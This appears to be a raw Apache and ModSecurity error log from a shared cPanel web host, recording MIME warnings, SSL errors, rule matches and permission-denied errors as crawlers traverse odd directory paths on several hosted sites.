[Fri Jul 17 09:11:08.310361 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310382 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.411732 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.515506 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:63/subsystem/input3/properties"] [unique_id "almkVBHlOGcokz2QIwTVlwAAAAM"]
[Fri Jul 17 09:11:08.515546 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:63/subsystem/input3/properties"] [unique_id "almkVBHlOGcokz2QIwTVlwAAAAM"]
[Fri Jul 17 09:11:08.746303 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "manaharasupercenter.lk"] [uri "/product/melamine-writing-table-with-rack/"] [unique_id "almkVA5GPQ6hs4VrfMpENAAAAAY"]
[Fri Jul 17 09:11:08.746827 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/product/melamine-writing-table-with-rack/"] [unique_id "almkVA5GPQ6hs4VrfMpENAAAAAY"]
[Fri Jul 17 09:11:08.961452 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:46006] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:09.027869 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:09.765449 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:10.710896 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almkVA5GPQ6hs4VrfMpENAAAAAY"]
[Fri Jul 17 09:11:10.729009 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:11.226146 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:11.326304 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:11.642572 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:12.254963 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:44198] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:12.989679 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/ttyS1/flags
[Fri Jul 17 09:11:13.415352 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.625916 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626008 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626051 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626092 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626115 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626140 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626161 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626183 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626218 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626238 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626259 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626282 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626303 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626326 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626347 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626370 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626389 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626410 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626432 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626454 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626476 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626497 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626530 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626553 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626572 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626621 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626641 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.626658 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.727232 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:13.946460 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:14.031438 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:44260] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:14.053908 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:14.156723 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:14.398137 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:14.935157 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:16.007919 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:16.095213 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:16.621433 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:16.621562 2026] [core:crit] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/opt/cloudlinux/alt-php-internal/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/opt/cloudlinux/alt-php-internal/root/' is executable
[Fri Jul 17 09:11:17.130814 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:51/subsystem/ttyS0/flags
[Fri Jul 17 09:11:17.663721 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu1/node0/memory96/uevent"] [unique_id "almkXfwooI4qY7Jg93pX5AAAABM"]
[Fri Jul 17 09:11:17.663760 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu1/node0/memory96/uevent"] [unique_id "almkXfwooI4qY7Jg93pX5AAAABM"]
[Fri Jul 17 09:11:17.767186 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767269 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767306 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767328 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767350 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767369 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767391 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767410 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767430 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767449 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767478 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767499 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767516 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767550 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767617 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767645 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767664 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767682 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767701 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767720 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767739 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767758 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767790 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767811 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767829 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767858 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767878 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:17.767896 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:18.730852 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:19.153154 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:11/subsystem/console/power/control"] [unique_id "almkX4e39YUk0SgV8AU8swAAABE"]
[Fri Jul 17 09:11:19.153192 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:11/subsystem/console/power/control"] [unique_id "almkX4e39YUk0SgV8AU8swAAABE"]
[Fri Jul 17 09:11:19.644427 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:20.680734 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkYEgVnBK6wAv37w6u9QAAABQ"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:11:20.680770 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkYEgVnBK6wAv37w6u9QAAABQ"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:11:21.741877 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:22.565372 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:22.641701 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:22.641779 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:22.641965 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:22.642004 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:22.642047 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:22.642071 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:22.642093 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:22.642125 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:22.642146 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:24.132328 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:24.294288 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:24.504230 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:24.609176 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:24.936508 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:25.464948 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:25.592244 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:27.623263 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkZ41dLClkUfK_dfHnUwAAAAI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:11:27.623309 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkZ41dLClkUfK_dfHnUwAAAAI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:11:28.000886 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.112:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory55/node0/memory66/node0/memory22/node0/memory124/"] [unique_id "almkZyRF0UOO1RzB5_8wkAAAAA4"]
[Fri Jul 17 09:11:28.000928 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.112:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory55/node0/memory66/node0/memory22/node0/memory124/"] [unique_id "almkZyRF0UOO1RzB5_8wkAAAAA4"]
[Fri Jul 17 09:11:28.443430 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:34232] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:29.899392 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:34314] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:30.080280 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:34328] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:32.835756 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:41808] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:33.864812 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:41872] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:37.568840 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:41998] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:38.955510 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:42046] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:40.822834 2026] [autoindex:error] [pid 2018741:tid 2018741] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:11:42.142867 2026] [autoindex:error] [pid 2019501:tid 2019501] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:11:42.612330 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:60288] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:44.828320 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:60470] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:45.756902 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:60520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:45.994536 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:60538] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:48.280320 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:48.385095 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:48.524663 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:48.768891 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:48.816497 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:48.859311 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:50.236803 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:60848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:50.356942 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:50.356946 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:50.390499 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:50.618160 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:50.715412 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:50.729773 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:50.835216 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 47.82.53.59:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:1b/subsystem/uevent
[Fri Jul 17 09:11:50.903066 2026] [autoindex:error] [pid 2018757:tid 2018757] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:11:50.933464 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:50.965354 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:50.974713 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:51.017716 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 47.82.53.8:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:19/subsystem/ttyS0/device/subsystem/uevent
[Fri Jul 17 09:11:51.046965 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
